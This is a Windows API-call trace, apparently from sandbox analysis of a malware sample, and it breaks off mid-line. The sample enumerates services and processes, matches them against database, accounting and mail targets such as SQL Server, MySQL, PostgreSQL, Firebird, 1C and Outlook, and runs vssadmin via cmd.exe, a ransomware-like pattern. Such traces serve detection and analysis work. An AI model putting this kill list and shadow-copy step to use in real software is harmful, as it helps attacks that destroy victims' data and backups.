[0045.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.895] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0045.895] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0045.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0045.895] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0045.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.895] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0045.895] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0045.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0045.895] lstrlenW (lpString="Winmgmt") returned 7 [0045.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0045.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0045.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0045.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0045.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0045.895] lstrlenW (lpString="WPDBusEnum") returned 10 [0045.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.895] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0045.895] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0045.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0045.895] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f30020 | out: hHeap=0x790000) returned 1 [0045.895] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0045.897] Process32FirstW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.897] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0045.897] lstrlenW (lpString="System") returned 6 [0045.897] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0045.897] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0045.898] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0045.898] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0045.898] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0045.898] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0045.898] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0045.898] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0045.898] lstrlenW (lpString="smss.exe") returned 8 [0045.898] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0045.898] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0045.898] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0045.898] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0045.898] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0045.898] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0045.898] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0045.898] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.898] lstrlenW (lpString="csrss.exe") returned 9 [0045.898] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0045.898] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0045.898] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0045.898] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0045.899] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0045.899] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0045.899] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0045.899] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0045.899] lstrlenW (lpString="wininit.exe") returned 11 [0045.899] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0045.899] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0045.899] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0045.899] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.900] lstrlenW (lpString="csrss.exe") returned 9 [0045.900] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0045.900] lstrlenW (lpString="winlogon.exe") returned 12 [0045.900] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0045.900] lstrlenW (lpString="services.exe") returned 12 [0045.900] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0045.901] lstrlenW (lpString="lsass.exe") returned 9 [0045.901] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0045.901] lstrlenW (lpString="lsm.exe") returned 7 [0045.901] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.901] lstrlenW (lpString="svchost.exe") returned 11 [0045.901] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.901] lstrlenW (lpString="svchost.exe") returned 11 [0045.901] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.902] lstrlenW (lpString="svchost.exe") returned 11 [0045.902] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.902] lstrlenW (lpString="svchost.exe") returned 11 [0045.902] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.902] lstrlenW (lpString="svchost.exe") returned 11 [0045.902] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0045.903] lstrlenW (lpString="audiodg.exe") returned 11 [0045.903] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.903] lstrlenW (lpString="svchost.exe") returned 11 [0045.903] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.903] lstrlenW (lpString="svchost.exe") returned 11 [0045.903] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0045.903] lstrlenW (lpString="dwm.exe") returned 7 [0045.904] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0045.904] lstrlenW (lpString="explorer.exe") returned 12 [0045.904] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0045.904] lstrlenW (lpString="spoolsv.exe") returned 11 [0045.904] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.904] lstrlenW (lpString="taskhost.exe") returned 12 [0045.904] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.905] lstrlenW (lpString="svchost.exe") returned 11 [0045.905] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0045.905] lstrlenW (lpString="taskeng.exe") returned 11 [0045.905] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.905] lstrlenW (lpString="taskhost.exe") returned 12 [0045.905] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0045.906] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0045.906] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0045.906] lstrlenW (lpString="noticed.exe") returned 11 [0045.906] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0045.909] lstrlenW (lpString="uploaded.exe") returned 12 [0045.912] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0045.914] lstrlenW (lpString="hardware.exe") returned 12 [0045.914] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0045.914] lstrlenW (lpString="oracle.exe") returned 10 [0045.914] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0045.914] lstrlenW (lpString="creativity.exe") returned 14 [0045.915] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0045.915] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0045.915] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0045.915] lstrlenW (lpString="edited.exe") returned 10 [0045.915] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0045.915] lstrlenW (lpString="custody.exe") returned 11 [0045.916] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0045.916] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0045.916] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0045.916] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0045.916] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0045.916] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0045.916] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0045.917] lstrlenW (lpString="radius.exe") returned 10 [0045.924] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0045.925] lstrlenW (lpString="extensions.exe") returned 14 [0045.925] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0045.925] lstrlenW (lpString="desperate.exe") returned 13 [0045.925] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0045.925] lstrlenW (lpString="professor-mo.exe") returned 16 [0045.925] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0045.926] lstrlenW (lpString="guidance.exe") returned 12 [0045.926] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0045.926] lstrlenW (lpString="week.exe") returned 8 [0045.926] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0045.926] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0045.926] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0045.927] lstrlenW (lpString="sn featured.exe") returned 15 [0045.927] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0045.927] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0045.927] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0045.927] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0045.927] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0045.927] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0045.927] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0045.928] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0045.928] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0045.928] lstrlenW (lpString="mobsync.exe") returned 11 [0045.928] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0045.928] lstrlenW (lpString="cmd.exe") returned 7 [0045.928] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0045.929] lstrlenW (lpString="conhost.exe") returned 11 [0045.929] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0045.929] lstrlenW (lpString="vssadmin.exe") returned 12 [0045.929] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0045.929] lstrlenW (lpString="VSSVC.exe") returned 9 [0045.929] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.930] lstrlenW (lpString="svchost.exe") returned 11 [0045.930] Process32NextW (in: hSnapshot=0x38c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0045.930] CloseHandle (hObject=0x38c) returned 1 [0045.930] Sleep (dwMilliseconds=0x1f4) [0046.622] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3298008 [0046.624] EnumServicesStatusExW (in: hSCManager=0x3298008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0046.625] GetLastError () returned 0xea [0046.626] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x53a0068 [0046.626] EnumServicesStatusExW (in: hSCManager=0x3298008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x53a0068, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x53a0068, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0046.629] CloseServiceHandle (hSCObject=0x3298008) returned 1 [0046.630] lstrlenW (lpString="Appinfo") returned 7 [0046.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0046.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0046.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0046.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0046.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0046.634] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0046.635] 